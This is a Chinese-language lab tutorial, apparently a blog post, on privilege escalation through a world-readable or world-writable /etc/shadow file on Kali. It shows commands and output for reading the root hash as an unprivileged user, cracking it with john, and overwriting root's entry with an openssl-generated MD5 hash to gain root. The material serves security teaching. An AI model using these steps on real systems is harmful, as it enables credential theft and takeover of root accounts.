shadow 提权说明

  • 对于一个正常的 /etc/shadow 文件来说,他的权限如下所示:
1
2
3
root at kali in ~ 
$ ls -l /etc/shadow
-rw-r----- 1 root shadow 1478 Nov 5 23:01 /etc/shadow
  • 根据所学权限可以看出,/etc/shadow 默认是主要 root 用户可读可写,root 组可读:
1
2
3
4
5
6
root at kali in ~ 
$ su kali

┌──(kali㉿kali)-[/root]
└─$ cat /etc/shadow
cat: /etc/shadow: Permission denied
  • 切换到 Kali 用户可以发现,是没有查看权限的。
  • 但是,假设运维人员突然抽了一下,将权限改为任意用户可读可写时,就会产生隐患:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
root at kali in ~ 
$ chmod o=rw /etc/shadow

root at kali in ~
$ ls -l /etc/shadow
-rw-r--rw- 1 root shadow 1478 Nov 5 23:01 /etc/shadow

root at kali in ~
$ su kali

┌──(kali㉿kali)-[/root]
└─$ head -n 2 /etc/shadow
root:$y$j9T$nbeaABSNWtVjwp5o0atow0$KcehnTyJIzHGild9ic3976qHrTDCr35tGXZ5vxN8wf1:19760:0:99999:7:::
daemon:*:19590:0:99999:7:::
  • 这时使用 Kali 用户就可以查看该文件内容了。

  • 这时我们需要做的就是:

    • 若是文件只可读,可以尝试爆破出相关账户的密码信息。
    • 若是文件可读又可写,可以尝试伪造一个用户,在密码占位符处指定密码,并且 UID 设置为 0,将其添加到 /etc/shadow 文件中。

shadow 文件可读

  • 将用户信息进行保存:
1
2
┌──(kali㉿kali)-[/root]
└─$ head -n 1 /etc/shadow > /tmp/root_user.txt
  • 使用 Kali 自带的 john 工具进行密码爆破:
1
2
3
4
5
6
7
8
9
10
11
12
13
──(kali㉿kali)-[/root]
└─$ john --format=crypt /tmp/root_user.txt
Using default input encoding: UTF-8
Loaded 1 password hash (crypt, generic crypt(3) [?/64])
Cost 1 (algorithm [1:descrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sha512crypt]) is 0 for all loaded hashes
Cost 2 (algorithm specific iterations) is 1 for all loaded hashes
Will run 8 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
root (root)
1g 0:00:00:00 DONE 1/3 (2024-02-07 16:13) 4.166g/s 400.0p/s 400.0c/s 400.0C/s root..root999994
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
  • 可以看到成功爆破出密码。

注:这种场景可利用范围不广,一旦对方设置了强口令爆破基本是爆破不出的。

shadow 文件可写

  • 既然 shadow 文件可写,可以有如下两种利用方式:
    • 创建一个新的用户;
    • 修改原有账户的密码。
  • 创建用户之前演示过了,这里主要演示修改密码。
  • 这里使用 openssl 工具生成加密的密码:
1
2
3
4
5
6
7
# 使用基于 MD5 的密码算法计算和加盐指定密码的哈希值,这里盐为 123456,后续需要填写密码,这里密码为 123
openssl passwd -1 -salt 123456

┌──(kali㉿kali)-[/root]
└─$ openssl passwd -1 -salt 123456
Password:
$1$123456$wWKtx7yY/RnLiPN.KaX.z.
  • 直接修改 shadow 文件中 root 账户的密码:
1
2
3
4
5
6
┌──(kali㉿kali)-[/root]
└─$ vim /etc/shadow

┌──(kali㉿kali)-[/root]
└─$ head -n 1 /etc/shadow
root:$1$123456$wWKtx7yY/RnLiPN.KaX.z.:19760:0:99999:7:::
  • 切换一下用户,查看是否成功:
1
2
3
4
5
6
┌──(kali㉿kali)-[/root]
└─$ su root
Password:

root at kali in ~
$